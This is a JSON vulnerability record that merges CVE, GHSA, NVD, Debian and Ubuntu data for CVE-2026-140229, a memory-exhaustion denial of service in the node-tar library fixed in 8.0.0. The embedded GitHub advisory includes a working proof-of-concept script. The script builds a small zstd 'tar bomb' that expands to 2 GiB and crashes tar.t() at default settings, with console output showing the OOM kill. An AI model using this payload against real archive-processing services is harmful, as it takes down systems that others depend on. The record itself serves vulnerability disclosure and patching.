{"id":"CVE-2026-140229","aliases":["DEBIAN-CVE-2026-140229","EUVD-2026-140425","GHSA-9239-v992-p74f","UBUNTU-CVE-2026-140229"],"status":"published","title":"node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve","others":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","from":"osv"}]},"epss":{"day":"2026-12-04","score":0.008,"percentile":0.57905,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true,"poc_reported":true},"cwes":["CWE-770"],"published":"2026-12-01T16:48:35Z","modified":"2026-12-05T00:16:04Z","fixes":[{"ecosystem":"npm","package":"tar","fixed_in":["8.0.0"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-1+deb12u1","6.1.13+~cs7.0.5-2","6.1.13+~cs7.0.5-3","6.1.13+~cs7.0.5-4","6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","6.2.1+~cs7.0.8-1+deb13u1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.18-1","0.1.18-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.3-2","1.0.3-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.2.1-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.4.10+ds1-2","4.4.10+ds1-2ubuntu1","4.4.10+ds1-2ubuntu1+esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.7+~cs11.3.10-1","6.1.11+~cs11.3.10-1","6.1.11+ds1+~cs6.0.6-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-10","7.5.22+~4.0.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-10"]}],"products":[{"vendor":"isaacs","product":"node-tar"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-9239-v992-p74f","tags":["x_refsource_CONFIRM","exploit","advisory","report"]},{"url":"https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2","tags":["x_refsource_MISC","fix","report"]},{"url":"https://github.com/isaacs/node-tar/commit/da66090c7a44b2140bd4a6343c478a8e411e1aa7","tags":["x_refsource_MISC","fix","report"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140229","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9239-v992-p74f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140229.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-140229","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-140229","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-140229","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-140229","title":"node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T16:48:35.517Z","modified":"2026-12-01T22:17:40.859Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T22:31:06.201819Z"}],"euvd":[{"id":"EUVD-2026-140425","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T16:48:35Z","modified":"2026-12-01T22:17:40Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-12-01T18:19:41.105618Z"}],"ghsa":[{"id":"GHSA-9239-v992-p74f","title":"node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio","description":"### Summary\n\nThe `maxDecompressionRatio` guard `tar` added for GHSA-23hp-3jrh-7fpw is evaluated *after* node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand `tar.t()`/`tar.x()` an archive can deny service with 65,608 bytes, at stock settings.\n\n### Details\n\nThe check runs from the decompressor's `'data'` event, which fires once per call to node zlib's *synchronous* `_processChunk` — by then that input chunk's entire inflated output is resident:\n\n```ts\n// src/parse.ts:550-555\nthis[UNZIP].on('data', chunk =\u003e {\n  if (this[CHECKDECOMPRESSIONRATIO](chunk)) {\n    this[CONSUMECHUNK](chunk)\n  }\n})\n```\n\nCompressed bytes are credited per `write()`, so the guard's resolution is the *caller's write size*, not the codec's output: a single large write front-loads the whole `inputSize × 1000` budget before the ratio is evaluated even once, and `tar`'s own file-reading helpers write up to 16 MB at a time. The decompressors are built with no `maxOutputLength`, so nothing else caps that chunk.\n\nThe single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever `this.zstd !== false`, the default.\n\nA third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not:\n\n```ts\n// src/parse.ts:599-603, 670\nwhile (this[BUFFER] \u0026\u0026 this[BUFFER].length \u0026\u0026 !this[SAW_EOF]) { … }\n…\n[BUFFERCONCAT](c: Buffer) {\n  if (c \u0026\u0026 !this[ABORTED]) {\n    this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c\n  }\n}\n```\n\nOnce `SAW_EOF` is set, `position` never advances, so every subsequent `write()` appends its chunk with nothing draining it — and `write()`'s return value never reflects `SAW_EOF`, so a piping producer gets no signal to slow down.\n\n### PoC\n\n```js\n// poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API.\n// Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t()\n// at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic\n// bytes) and no ratio override. The attacker controls only the archive bytes.\nconst fs = require('fs');\nconst z = require('zlib');\nconst tar = require('tar');\n\nfunction buildHeader({ size, name = 'payload' }) {\n  const h = Buffer.alloc(512);\n  h.write(name); h.write('0000644\\0', 100); h.write('0000000\\0', 108); h.write('0000000\\0', 116);\n  h.write(size.toString(8).padStart(11, '0') + '\\0', 124);\n  h.write('00000000000\\0', 136); h.write('        ', 148); h.write('0', 156); h.write('ustar  \\0', 257);\n  let s = 0; for (let i = 0; i \u003c 512; i++) s += h[i];\n  h.write(s.toString(8).padStart(6, '0') + '\\0 ', 148);\n  return h;\n}\n\nconst size = 2 * 1024 * 1024 * 1024;                 // declared entry size: 2 GiB\nconst h = buildHeader({ size });\nconst zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst');\nzc.pipe(out); zc.write(h);\nconst CH = Buffer.alloc(1 \u003c\u003c 20); let w = 0;\n(function loop() {\n  while (w \u003c size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } }\n  zc.write(Buffer.alloc(1024)); zc.end();\n  out.on('finish', run);\n})();\n\nfunction run() {\n  console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...');\n  const p = tar.t({ onentry: () =\u003e {} });            // stock options\n  const b = fs.readFileSync('bomb.tar.zst');\n  for (let i = 0; i \u003c b.length; i += 65536) p.write(b.subarray(i, i + 65536));\n  p.end();\n}\n```\n\n```console\n## The node process prints one line and then dies mid-parse; the exit status and the\n## OOM flag below come from the container runtime, not from the script.\n\n$ npm i tar@7.5.22\n$ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v \"$PWD:/w\" -w /w node:22 node poc.js\narchive built: 65608 bytes; parsing...\n$ echo \"exit=$?\"\nexit=137\n$ docker inspect tar-poc --format '{{.State.OOMKilled}}'\ntrue\n\n## The archive is written before parsing starts, so it survives the kill:\n$ ls -l bomb.tar.zst\n-rw-r--r--  65608  bomb.tar.zst        # 65,608 bytes in, 2 GiB declared - ratio ~32,736:1\n\n## No \"max decompression ratio exceeded\" error precedes the kill, though that ratio is\n## ~32,736:1 against the default 1000:1 limit. 64 KiB input writes do not help: one zstd\n## frame expands past the cap inside a single synchronous _processChunk.\n```\n\n### Impact\n\nA remote, unauthenticated attacker who can get any service to run `tar.t()`/`tar.x()` on a supplied archive — registries, CI runners, artifact and backup services — denies service with a 65,608-byte zstd archive at default settings. The attacker sizes the allocation — the entry header declares it — so under a memory limit it is an immediate OOM kill, and without one, host-wide memory pressure.","status":"published","published":"2026-12-05T00:16:01Z","modified":"2026-12-05T00:16:04Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-05T00:30:28.076722Z"}],"nvd":[{"id":"CVE-2026-140229","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:17:35.413Z","modified":"2026-12-01T23:17:40.06Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T23:25:12.236518Z"}],"osv":[{"id":"CVE-2026-140229","title":"node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio","description":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T16:48:35.517Z","modified":"2026-12-02T21:01:11.523208379Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-02T21:28:42.350468Z"},{"id":"DEBIAN-CVE-2026-140229","upstream":["CVE-2026-140229"],"description":"node-tar is a tar archive manipulation library for Node.js. Prior to 8.0.0, when node-tar processes compressed attacker-controlled input, node zlib can materialize the inflated output before maxDecompressionRatio is evaluated. The guard therefore observes an allocation after it occurred rather than bounding it, allowing memory exhaustion despite the configured ratio limit. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:17:35.413Z","modified":"2026-12-02T16:00:07.926952118Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-12-02T16:19:31.134606Z"},{"id":"UBUNTU-CVE-2026-140229","upstream":["CVE-2026-140229"],"description":"(node-tar is a tar archive manipulation library for Node.js. Prior to 8 ...)","status":"published","published":"2026-12-02T00:00:00Z","modified":"2026-12-03T20:48:20.988566403Z","updated_at":"2026-12-03T21:13:04.052985Z"}]}}
